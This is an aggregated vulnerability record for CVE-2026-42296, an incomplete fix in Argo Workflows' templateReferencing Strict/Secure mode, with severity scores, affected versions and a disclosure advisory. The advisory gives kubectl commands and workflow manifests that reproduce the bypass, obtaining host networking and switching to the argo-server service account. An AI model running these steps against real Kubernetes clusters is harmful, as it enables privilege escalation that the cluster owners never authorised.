CVE-2026-42296
JSON

8.1high

Argo Workflows has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure

Severity
8.1high CVSS:3.1 by GitHub_M
Exploit likelihood
0.42% (higher than 38% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-3775-99mw-8rp4BIT-ARGO-WORKFLOWS-2026-42296GO-2026-5072

Description

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5.

Affected

Product or packageVersionsReported by
argoproj argo-workflows< 3.7.14, >= 4.0.0, < 4.0.5CVE List
rhoai/odh-data-science-pipelines-argo-argoexec-rhel9Not specifiedCVE List
rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9Not specifiedCVE List
rhoai/odh-ml-pipelines-api-server-v2-rhel9Not specifiedCVE List
rhoai/odh-ml-pipelines-driver-rhel9Not specifiedCVE List
rhoai/odh-ml-pipelines-launcher-rhel9Not specifiedCVE List
rhoai/odh-ml-pipelines-persistenceagent-v2-rhel9Not specifiedCVE List
rhoai/odh-ml-pipelines-scheduledworkflow-v2-rhel9Not specifiedCVE List
github.com/argoproj/argo-workflows/v3 (Go)before 3.7.14GitHub Advisory Database, Go Vulnerability Database
github.com/argoproj/argo-workflows/v4 (Go)from 4.0.0 before 4.0.5GitHub Advisory Database, Go Vulnerability Database
github.com/argoproj/argo-workflows (Go)all versionsGo Vulnerability Database
github.com/argoproj/argo-workflows/v2 (Go)all versionsGo Vulnerability Database

All scores

GitHub_M8.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
redhat-SADP8.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
GitHub8.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Bitnami Vulnerability Databasehigh rating

Classification

CWE-863

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5.

GitHub Advisory Database

The fix for CVE-2026-31892 (commit 534f4ff) blocks podSpecPatch when templateReferencing: Strict is active, but doesn't restrict other WorkflowSpec fields that flow through the same merge path and get applied to pods. A user can set hostNetwork: true, override serviceAccountName, or change securityContext on their Workflow while referencing a hardened template -- these survive JoinWorkflowSpec and get applied at pod creation.

The check in setExecWorkflow gates on HasPodSpecPatch() only:

if woc.controller.Config.WorkflowRestrictions.MustUseReference() && woc.wf.Spec.HasPodSpecPatch() {

Everything else passes through. createWorkflowPod reads hostNetwork, securityContext, serviceAccountName, tolerations, and automountServiceAccountToken from the merged spec and applies them directly to the pod.

JoinWorkflowSpec constructs the merge target from the user's spec and applies the template as a patch -- user fields take priority. When the template doesn't explicitly set a field like hostNetwork (most won't -- false is the zero value and gets omitted), the user's true survives. For fields like securityContext and serviceAccountName, the template-level value takes precedence IF the template explicitly sets it. The bypass applies when the template relies on defaults.

Both Strict and Secure modes are affected. Secure stores the merged spec on first submission, so user overrides get baked into the stored spec and subsequent MustNotChangeSpec comparisons pass.

Steps to reproduce

Tested on v4.0.2 (the CVE-2026-31892 patched version) on kind v0.27.0 / K8s v1.35.0.

# enable strict mode
kubectl patch configmap workflow-controller-configmap -n argo --type merge \
  -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
kubectl rollout restart deployment workflow-controller -n argo

A template that lists network interfaces:

cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: netcheck
spec:
  entrypoint: check
  templates:
  - name: check
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args: ["ip addr show | grep -E '^[0-9]+:' | cut -d: -f2"]
EOF

Submit a workflow with hostNetwork: true:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-
spec:
  workflowTemplateRef:
    name: netcheck
  hostNetwork: true
EOF

Pod gets host networking:

$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-bmg9b -o jsonpath='{.items[0].spec.hostNetwork}'
true

Container without the override sees eth0@if20. With the override, the pod sees the host's full network namespace -- all veth interfaces for other containers on the node.

podSpecPatch IS correctly blocked on the same cluster:

$ kubectl get workflow patched-check-jd272 -n argo -o jsonpath='{.status.message}'
podSpecPatch is not permitted when using workflowTemplateRef with templateReferencing restriction

serviceAccountName override also works -- a workflow with serviceAccountName: argo-server creates a pod running under the argo-server SA instead of the namespace default:

$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-sa-slmjs -o jsonpath='{.items[0].spec.serviceAccountName}'
argo-server

Tested in Secure mode as well -- same result. Pod created with hostNetwork: true before the workflow errors on an unrelated permission issue.

Impact

A user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature.

The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed.

Fix direction

The check in setExecWorkflow should cover all WorkflowSpec fields that influence pod security posture, not just podSpecPatch. The affected fields that I confirmed in createWorkflowPod: hostNetwork, securityContext, serviceAccountName, automountServiceAccountToken, tolerations, dnsPolicy, schedulerName, hostAliases, volumes.

An alternative approach: when MustUseReference() is true, strip all user-set WorkflowSpec fields except a known-safe allowlist (entrypoint, arguments, labels, annotations) before merging. This avoids a growing denylist as new fields get added.

Affected versions

All versions supporting templateReferencing, including v4.0.2 and v3.7.11 which patched CVE-2026-31892.

Go Vulnerability Database

Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure in github.com/argoproj/argo-workflows

NVD (es)

Argo Workflows es un motor de flujo de trabajo de código abierto nativo de contenedores para orquestar trabajos paralelos en Kubernetes. Antes de las versiones 3.7.14 y 4.0.5, un usuario con permiso para crear flujos de trabajo (Workflow) puede eludir templateReferencing: Strict para obtener acceso a la red del host, cambiar cuentas de servicio, anular el contexto de seguridad del pod, añadir tolerancias para programar en nodos del plano de control, o habilitar el montaje de tokens de SA. Esto anula el propósito declarado de la característica. El impacto práctico depende de los controles a nivel de Kubernetes que estén implementados. Los clústeres con admisión de PodSecurity o OPA/Gatekeeper bloquearían independientemente algunos de estos (como hostNetwork). Los clústeres que dependen del modo Strict de Argo como capa de aplicación principal están completamente expuestos. Este problema ha sido parcheado en las versiones 3.7.14 y 4.0.5.

References

https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3775-99mw-8rp4advisory, exploit, mitigation, vendor-advisory, web
https://github.com/argoproj/argo-workflows/commit/534f4ff1cbd86908e8ff76d97d553ad5a49a950dfix, patch, web
https://github.com/argoproj/argo-workflows/releases/tag/v3.7.14article, release-notes, web
https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5article, release-notes, web
https://access.redhat.com/security/cve/CVE-2026-42296vdb-entry, web
https://bugzilla.redhat.com/show_bug.cgi?id=2468446issue-tracking, web
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42296.jsonweb
https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrrweb
https://nvd.nist.gov/vuln/detail/CVE-2026-42296advisory, web
https://github.com/argoproj/argo-workflows/commit/2727f3f701677d467dfb5e053c57237cbc752c3cfix, web
https://github.com/argoproj/argo-workflowspackage

Sources

SourceRecordLicence
CVE ListCVE-2026-42296 changed 2026-07-15CVE Terms of Use
GitHub Advisory DatabaseGHSA-3775-99mw-8rp4 changed 2026-06-25CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5072 changed 2026-06-25CC-BY-4.0
NVDCVE-2026-42296 changed 2026-07-24Public domain
Bitnami Vulnerability DatabaseBIT-ARGO-WORKFLOWS-2026-42296 changed 2026-09-08Apache-2.0